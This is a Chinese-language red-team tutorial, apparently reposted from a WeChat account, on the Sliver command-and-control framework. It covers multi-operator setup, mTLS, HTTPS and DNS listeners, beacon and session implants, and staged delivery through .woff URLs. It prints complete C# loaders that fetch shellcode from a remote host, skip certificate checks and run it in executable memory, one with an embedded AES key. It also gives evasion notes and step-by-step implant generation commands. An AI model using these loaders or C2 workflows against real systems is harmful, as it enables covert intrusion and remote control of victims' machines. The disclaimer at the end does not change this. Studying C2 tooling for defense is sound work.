一、Sliver简介
Sliver是一个用Golang编写的跨平台通用植入框架,旨在替代CobaltStrike。它由BishopFox公司的Joe DeMesy和Ronan Kervella提出并设计,具有稳定、高性能和安全的通信载荷。作为一个开源且跨平台的工具,可供安全组织或个人进行测试使用。
Sliver推出后受到欢迎,其github仓库在短时间获得了超4k的收藏量,并已被DEV-0237等勒索组织使用。Sliver自2019年开始到如今已有三年多的时间,其版本更新十分频繁,正逐步走向成熟阶段。
· 服务端、客户端以及有效载荷均支持Windows、Linux及Android等三种流行系统和架构,且服务端和客户端通信采用mTLS加密通信,防止被检测;
· 载荷使用mTLS、WireGuard、HTTP(S)以及DNS等多协议保护对外通信,并使用TCP和SMB等进行内网通信;
·Windows下存在进程迁移/注入、文件操作、注册表操作和内存命令执行等多种控制功能;
二、Sliver安装:
https://github.com/BishopFox/sliver/wiki/Getting-Started
三、多人协作模式:
sliver >new-operator --name moloch --lhost C2IP
sliver > multiplayer //可以存在不同系统下的多客户端共同管理。首先需要在服务端创建相关配置文件,然后客户端使用并开启相关配置。
拷贝该配置文件到客户端,带如下参数启动客户端导入配置文件,然后再次不带参数启动即可连接到服务器:
sliver-client.exe import 配置文件.cfg
四、开启监听:
MTLS: sliver > mtls --lhost C2IP --lport C2PORT
HTTPS: sliver > https --domain C2地址 --lport C2PORT
DNS:sliver >dns --domains 域名
//详细配置说明:https://github.com/BishopFox/sliver/wiki/DNS-C2
五、通信协议:
Sliver的通信方式包含了多种方式进行通信。其中内网通信方式与CobaltStrike相同。而外网通信则新增加的通信方式有MTLS(相互身份验证协议)和WireGuard(VPN协议),这两种通信方式都十分隐蔽,不容易被流量设备发现。
另外,Sliver开发了一个多协议多ioc控制功能,即可以使用多种通信方式不同的ioc进行控制,避免生成的单一通信或者ioc连接失败。通信协议顺序优先级由高到低依次为MTLS -> WG -> HTTP(S)-> DNS。
5.1 多通信:
sliver > generate --mtls example.com --http example2.com --dns example3.cn.com //地址后不加端口则使用Sliver定义的默认端口。
5.2 多ioc随机 :
sliver > generate --mtls example.com,example2.com,example3.cn.com --strategy r
六、通信模式:
Sliver设计的Implants具备两种模式:beacon模式和session模式,区别在于beacon模式属于异步通信方式,即执行累计的任务后,定期连接服务端返回数据,该模式与CobaltStrike的通信方式相同;而session模式则进行持久连接。
前者通信更加隐蔽,后者执行命令响应速度更快。当前Implants可由beacon模式切换至session模式,反之的功能官方尚未实现。
6.1 session模式(默认):
sliver > generate --mtls C2IP:PORT --os windows
6.2 beacon模式:
sliver > generate beacon --mtls C2IP:PORT --os windows
beacon模式上线如下:
七、载荷生成:
Sliver将生成的载荷称之为Implants,这与CobaltStrike工具中生成的stageless和stager拉取的stage (beacon)功能一致,均属于第二阶段的有效载荷,也是稳定控制被控机的有效载荷。
Sliver在植入载荷方式同CobaltStriket以及Meterpreter一样均有两种方式,非阶段式与阶段式植入。
7.1 非阶段式:
后续无需再从服务器拉取stage,体积较大,相当于CS的stageless。生成方式:
sliver > generate --mtls C2IP:PORT --os windows //默认为windows amd64操作系统,通信协议可换成其他的。
注:可使用--os定义目标操作系统;使用--arch定义目标操作系统位数;使用--format定义payload类型(默认为exe);更多设置使用--help参数查看。
7.2 阶段式:
后续需要从服务器拉取stage,体积较小,相当于CS的stager。生成方式:
7.2.1 Meterpreter框架生成stager
sliver > profiles new --mtls C2IP:控制PORT --format shellcode win_shellcode //默认为windows amd64操作系统
sliver > stage-listener --url http://C2IP:stager下载PORT --profile win_shellcode
sliver > generate stager --lhost C2IP --lport stager下载PORT --save 保存目录(可不加,默认当前目录) //以上操作需要注意分清C2控制端口和stager下载端口。默认情况下,使用的stager协议是 TCP。--protocol参数可用于指定tcp、http或https作为stager协议。
生成的stager是Meterpreter框架未加密的的x64位的stager,将stager在内存中运行即可下载运行Sliver的Implants。
7.2.2 自定义stager,支持AES加密下载
不使用加密:
sliver > mtls --lhost C2IP --lport 控制PORT
sliver > profiles new --mtls C2IP:控制PORT --format shellcode win_shellcode //默认为windows amd64操作系统
sliver > stage-listener --url http://C2IP:stager下载PORT --profile win_shellcode
然后自行编写代码从http://C2IP:stager下载PORT/whatever.woff 拉取第二阶段payload并执行。
sliver > mtls --lhost C2IP --lport 控制PORT
sliver > stage-listener --url http://C2IP:stager下载PORT --profile win_shellcode --aes-encrypt-key xxx --aes-encrypt-iv xxx
然后自行编写代码从http://C2IP:stager下载PORT/whatever.woff拉取第二阶段payload并执行。代码需注意添加AES解密相关。
在编写或使用自定义stager时,对于HTTP协议,Sliver服务器将仅在特定定义的URL上提供阶段2有效负载。用于检索第2阶段有效载荷的默认文件扩展名是.woff。可以使用设置在HTTP C2 选项stager_file_ext中对其进行配置。
因此,如果想实现自己的stager以通过HTTP获取第2阶段有效负载,则需要查询如下所示的URL- http://SLIVER-SERVER:PORT/whatever.woff,即可以使用任意名称拼接woff后缀下载Implants载荷。
投递时,需要自行编写拉取并执行二阶段载荷的代码,官方给出了示例C#代码:
using System;using System.Net;using System.Runtime.InteropServices;
private static string url = "http://a.bc/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute(){
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
public static void Main(String[] args){
using System;using System.IO;using System.Net;using System.Runtime.InteropServices;using System.Security.Cryptography;using System.Text;
private static string AESKey = "D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT";
private static string AESIV = "8y/B?E(G+KbPeShV";
private static string url = "http://192.168.0.52/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute(){
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
shellcode = Decrypt(shellcode, AESKey, AESIV);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV){
byte[] key = Encoding.UTF8.GetBytes(AESKey);
byte[] IV = Encoding.UTF8.GetBytes(AESIV);
using (Aes aesAlg = Aes.Create()){
aesAlg.Padding = PaddingMode.None;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream memoryStream = new MemoryStream(ciphertext)){
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)){
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
public static void Main(String[] args){
八、上线后常用操作:
sessions -i sessionID //进入会话
sessions -k sessionID //杀死会话
九、MTLS上线测试(HTTP(s)同理):
sliver > mtls --lhost C2地址 --lport 2333
sliver > generate --mtls C2地址:2333 --os windows //默认为windows amd64操作系统、类型的payload,参考载荷生成部分,可自行修改。
只测试了可执行文件的payload,shellcode、dll类型的payload写个程序执行起来即可。
十、DNS上线测试:
首先需要为 DNS C2(和 DNS Canaries)配置域(使用CloudFlare),建议为每条记录设置大约5分钟的TTL,设置为自动的话可能会导致会话DEAD。一定要禁用Cloudflare的代理。
1、为指向Sliver服务器的IP地址创建一条A记录,例如example.com
2、为指向Sliver服务器的IP地址的子域创建一条A记录,例如ns1.example.com
3、创建具有任意子域的NS记录,例如1(1.example.com),数据设置为ns1.example.com
现在可以将1.example.com用作DNS C2 域,例如generate --dns 1.example.com.(在发出 DNS 命令时始终使用 FQDN)。
注意:在Sliver控制台中发出DNS命令时始终使用FQDN(例如,1.example.com.注意结尾有一个点.),创建监听和生成负载时都需要在后面加一个点
然后创建DNS侦听器。如果上面的父域配置错误,Sliver将无法正确解析C2流量。
sliver > dns --domains 1.example.com.
sliver > generate --dns 1.example.com. --os windows
在目标机器上运行生成的文件,上线(前两个会话DEAD就是因为没有设置合适的TTL导致的):
十一、Stager上线测试:
由于有效载荷可能非常大(大约10MB),有时可能需要使用stagers在目标系统上执行植入。
Sliver支持基于meterpreterTCP和HTTP(S)的暂存协议。这个协议非常简单:
·读取线路上第 2 阶段有效负载的大小(TCP stager 的前 4 个字节)
·阶段2有效载荷(通常是Sliver shellcode,也可以是其他格式)
·stagers(由msfvenom、Slivergenerate stager命令或自定义命令生成)
Sliver通过重用profiles特性来实现staging。配置文件是一种植入蓝图,用于定义要由profiles new命令重用的配置。
sliver > mtls --lhost C2地址 --lport 2333
然后使用以下命令创建一个新的配置文件,将用于stager侦听器:
sliver > profiles new --mtls C2地址:2333 --format shellcode win-shellcode //默认为windows amd64操作系统
sliver > profiles //查看当前配置文件
现在可以创建一个stager监听器并将其链接到配置文件:
sliver > stage-listener --url http://C2地址:2444 --profile win-shellcode //2333是C2控制的端口,2444是stager拉取第二阶段有效负载的端口
现在可以从http://C2地址:2444下载任意命名后缀为.woff的二阶段负载:
接下来的Stager生成介绍以下两种方式:Meterpreter Stager和自定义Url Stager。
11.1 Meterpreter Stager:
生成配置文件和stager监听器之后,使用generate stager命令生成一个stager,该命令生成的stager与msf的meterpreter stager shellcode特征相同:
sliver > generate stager --lhost C2地址 --lport 2444 --protocol http --save /tmp
默认情况下,使用的stager协议是 TCP。--protocol参数可用于指定tcp、http或https作为暂存协议。生成shellcode之后,编写一个loader执行shellcode即可。目标机器运行编写的loader,第二阶段的载荷会被下载到loader内存中执行,上线:
11.2 Sliver自定义Stager:
生成配置文件和stager监听器之后,如果不想用Meterpreter框架(生成的stager的shellcode特征太明显),也可以自己来实现stager以通过HTTP获取第2阶段有效负载,用于检索 2阶段有效载荷的默认文件扩展名是.woff,可以在HTTP C2选项stager_file_ext中对其进行配置。
自定义stager需要访问如下所示的URL:http://C2地址:2444/whatever.woff。
对二阶段负载的下载可以选择加密或者非加密,非加密方式在设置完stager监听器之后,编写代码实现远程下载执行woff文件的loader即可。加密是通过 AES-CBC-128 完成的。
11.2.1 非加密下载:
编译远程下载执行第二阶段负载的loader,在代码中需要加入目标ulr,编译完成后在目标机器运行即可上线。
11.2.2 AES加密下载:
将之前生成Stager监听器的步骤,改为生成AES加密的Stager监听器,这里使用的是官方示例中的密钥:
sliver >stage-listener --url http://C2地址:2444 --profile win_shellcode --aes-encrypt-key D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT --aes-encrypt-iv 8y/B?E(G+KbPeShV
编译远程下载执行第二阶段负载的loader,在代码中还需要加入AES解密代码:
十二、Sliver与其他两大框架的stager区别:
|
|
|
|
|
|
|
|
|
1、stager(Meterpreter)+Implant
2、url download(*.woff)+Implant
|
|
|
|
下载路径为任意名称+.woff,可被作为特征检测,且payload体积大
|
|
|
|
下载的Implant可使用非对称算法加密,下载后无法进行解密
|
|
|
十三、参考文章:
https://cloud.tencent.com/developer/article/1934904
http://safeio.com/ken/detail.php?id=3228
https://github.com/BishopFox/sliver/wiki
最最最重要:
本文内容仅供学习研究,不可于非法网络攻击,若产生不良后果本人概不负责。维护网络安全人人有责,愿你我都成为一名合格的网络保安~~
原文始发于微信公众号(红蓝攻防研究实验室):Sliver使用指南
2024年12月11日 下午6:32 1F
没想到两年前写的东西被搬运到这里了,不过这中间sliver迭代了好多版本了,最新的使用还是建议看官方文档 : D
2024年12月11日 下午9:44 B1
@ 陈小明 居然是原作者来了.荣幸之至.谢谢您的分享